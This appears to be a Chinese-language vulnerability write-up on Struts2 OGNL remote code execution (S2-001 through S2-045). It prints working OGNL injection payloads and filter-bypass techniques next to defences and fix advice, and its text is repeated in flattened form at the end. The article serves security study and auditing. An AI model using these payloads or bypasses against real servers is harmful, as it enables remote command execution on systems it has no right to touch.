Struts2基于OGNL的RCE漏洞全解析
字数 1981 2025-08-18 11:39:04

Struts2基于OGNL的RCE漏洞全解析

1. OGNL表达式基础

OGNL (Object-Graph Navigation Language) 是一种强大的表达式语言,在Struts2框架中被广泛使用。它具有执行Java代码的能力,这是导致Struts2中一系列RCE漏洞的根本原因。

基本用法示例

import ognl.Ognl;
import ognl.OgnlContext;

public class OgnlTest {
    public static void main(String[] args) throws Exception {
        // 创建上下文和根对象
        OgnlContext oc = new OgnlContext();
        User rootUser = new User("tom", 18);
        oc.setRoot(rootUser);
        
        // 获取root对象的属性
        String name = (String) Ognl.getValue("name", oc, oc.getRoot());
        
        // 执行Java方法
        Object obj = Ognl.getValue("'helloworld'.length()", oc.getRoot());
        
        // 访问静态方法和属性
        Object obj2 = Ognl.getValue(
            "@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app/')", 
            oc.getRoot()
        );
    }
}

关键特性

  • 使用@符号访问静态方法和属性
  • 可以执行任意Java代码
  • 通过#访问非root对象
  • 支持方法调用和属性访问

2. Struts2漏洞概述

Struts2框架中由于OGNL表达式的不当处理导致了一系列远程代码执行漏洞。这些漏洞的共同特点是攻击者可以通过构造特定的请求参数,使服务器执行恶意OGNL表达式。

3. 主要漏洞分析

S2-001 (CVE-2007-4556)

影响版本: 2.0.0 - 2.0.8

漏洞原理:
当用户输入被直接用作OGNL表达式时,攻击者可以构造恶意输入执行任意代码。

POC:

%{@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app/")}

修复:
TextParseUtil.translateVariables中添加了位置参数pos,防止递归解析恶意表达式。

S2-003 (CVE-2008-6504)

影响版本: 2.0.0 - 2.1.8.1

漏洞原理:
利用Ognl.setValue执行恶意代码,需要Tomcat 6.0及以下版本。

POC:

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)
&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)

关键点:

  • 需要先设置denyMethodExecution=false
  • 使用Unicode编码绕过参数名过滤

S2-005 (CVE-2010-1870)

影响版本: 2.0.0 - 2.1.8.1

漏洞原理:
通过修改_memberAccess变量绕过S2-003的修复。

POC:

('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(a)(b)
&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)

S2-007 (CVE-2012-0838)

影响版本: 2.0.0 - 2.2.3

漏洞原理:
当参数类型转换失败时,错误信息中包含的OGNL表达式会被执行。

触发条件:

  • 参数配置了验证规则
  • 参数类型转换失败

S2-012 (CVE-2013-1965)

影响版本: Showcase 2.0.0 - 2.3.14.2

漏洞原理:
重定向参数中包含的OGNL表达式会被执行。

S2-045 (CVE-2017-5638)

影响版本: 2.3.5 - 2.3.31, 2.5 - 2.5.10

漏洞原理:
通过恶意Content-Type头触发Jakarta文件上传错误,错误信息中的OGNL表达式被执行。

POC:

Content-Type:%{(#glassy='multipart/form-data')
.(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())}

关键点:

  • 使用.代替,连接表达式绕过S2-029的修复
  • 需要包含multipart/form-data

4. 漏洞防御机制

主要防御措施

  1. 表达式过滤:

    • 对参数名进行严格正则匹配
    • 黑名单过滤特殊字符
  2. 执行控制:

    • xwork.MethodAccessor.denyMethodExecution标志
    • SecurityMemberAccess类控制静态方法访问
  3. AST树检查:

    • 限制特定AST树类型的执行
  4. 开发者模式:

    • 建议生产环境关闭开发者模式

5. 漏洞挖掘方法论

  1. 寻找输入点:

    • 参数名和参数值
    • HTTP头信息
    • 文件上传相关字段
  2. 跟踪数据处理流程:

    • 关注TextParseUtil.translateVariables调用
    • 跟踪Ognl.getValueOgnl.setValue调用
  3. 绕过技巧:

    • Unicode编码
    • 使用不同的表达式连接符
    • 修改安全相关标志变量

6. 修复建议

  1. 及时升级到最新安全版本
  2. 关闭不必要的功能:
    • 动态方法调用
    • 开发者模式
  3. 严格验证所有用户输入
  4. 限制OGNL表达式的执行能力

7. 总结表

漏洞编号 注入位置 OGNL执行函数 关键绕过技巧
S2-001 参数值 getValue %{}格式
S2-003 参数名 setValue (exp)(a)(b)格式
S2-005 参数名 setValue 修改_memberAccess
S2-007 参数值 getValue 类型转换错误触发
S2-045 Content-Type头 getValue 使用.连接表达式

8. 研究资源

  1. 官方安全公告
  2. GitHub上的漏洞环境:
    • https://github.com/vulhub/vulhub/tree/master/struts2
  3. OGNL官方文档

通过深入理解这些漏洞的原理和防御机制,安全研究人员可以更好地进行Struts2应用的安全审计和漏洞挖掘工作。

Struts2基于OGNL的RCE漏洞全解析 1. OGNL表达式基础 OGNL (Object-Graph Navigation Language) 是一种强大的表达式语言,在Struts2框架中被广泛使用。它具有执行Java代码的能力,这是导致Struts2中一系列RCE漏洞的根本原因。 基本用法示例 关键特性 使用 @ 符号访问静态方法和属性 可以执行任意Java代码 通过 # 访问非root对象 支持方法调用和属性访问 2. Struts2漏洞概述 Struts2框架中由于OGNL表达式的不当处理导致了一系列远程代码执行漏洞。这些漏洞的共同特点是攻击者可以通过构造特定的请求参数,使服务器执行恶意OGNL表达式。 3. 主要漏洞分析 S2-001 (CVE-2007-4556) 影响版本 : 2.0.0 - 2.0.8 漏洞原理 : 当用户输入被直接用作OGNL表达式时,攻击者可以构造恶意输入执行任意代码。 POC : 修复 : 在 TextParseUtil.translateVariables 中添加了位置参数 pos ,防止递归解析恶意表达式。 S2-003 (CVE-2008-6504) 影响版本 : 2.0.0 - 2.1.8.1 漏洞原理 : 利用 Ognl.setValue 执行恶意代码,需要Tomcat 6.0及以下版本。 POC : 关键点 : 需要先设置 denyMethodExecution=false 使用Unicode编码绕过参数名过滤 S2-005 (CVE-2010-1870) 影响版本 : 2.0.0 - 2.1.8.1 漏洞原理 : 通过修改 _memberAccess 变量绕过S2-003的修复。 POC : S2-007 (CVE-2012-0838) 影响版本 : 2.0.0 - 2.2.3 漏洞原理 : 当参数类型转换失败时,错误信息中包含的OGNL表达式会被执行。 触发条件 : 参数配置了验证规则 参数类型转换失败 S2-012 (CVE-2013-1965) 影响版本 : Showcase 2.0.0 - 2.3.14.2 漏洞原理 : 重定向参数中包含的OGNL表达式会被执行。 S2-045 (CVE-2017-5638) 影响版本 : 2.3.5 - 2.3.31, 2.5 - 2.5.10 漏洞原理 : 通过恶意Content-Type头触发Jakarta文件上传错误,错误信息中的OGNL表达式被执行。 POC : 关键点 : 使用 . 代替 , 连接表达式绕过S2-029的修复 需要包含 multipart/form-data 4. 漏洞防御机制 主要防御措施 表达式过滤 : 对参数名进行严格正则匹配 黑名单过滤特殊字符 执行控制 : xwork.MethodAccessor.denyMethodExecution 标志 SecurityMemberAccess 类控制静态方法访问 AST树检查 : 限制特定AST树类型的执行 开发者模式 : 建议生产环境关闭开发者模式 5. 漏洞挖掘方法论 寻找输入点 : 参数名和参数值 HTTP头信息 文件上传相关字段 跟踪数据处理流程 : 关注 TextParseUtil.translateVariables 调用 跟踪 Ognl.getValue 和 Ognl.setValue 调用 绕过技巧 : Unicode编码 使用不同的表达式连接符 修改安全相关标志变量 6. 修复建议 及时升级到最新安全版本 关闭不必要的功能: 动态方法调用 开发者模式 严格验证所有用户输入 限制OGNL表达式的执行能力 7. 总结表 | 漏洞编号 | 注入位置 | OGNL执行函数 | 关键绕过技巧 | |---------|---------|-------------|-------------| | S2-001 | 参数值 | getValue | %{}格式 | | S2-003 | 参数名 | setValue | (exp)(a)(b)格式 | | S2-005 | 参数名 | setValue | 修改_ memberAccess | | S2-007 | 参数值 | getValue | 类型转换错误触发 | | S2-045 | Content-Type头 | getValue | 使用.连接表达式 | 8. 研究资源 官方安全公告 GitHub上的漏洞环境: https://github.com/vulhub/vulhub/tree/master/struts2 OGNL官方文档 通过深入理解这些漏洞的原理和防御机制,安全研究人员可以更好地进行Struts2应用的安全审计和漏洞挖掘工作。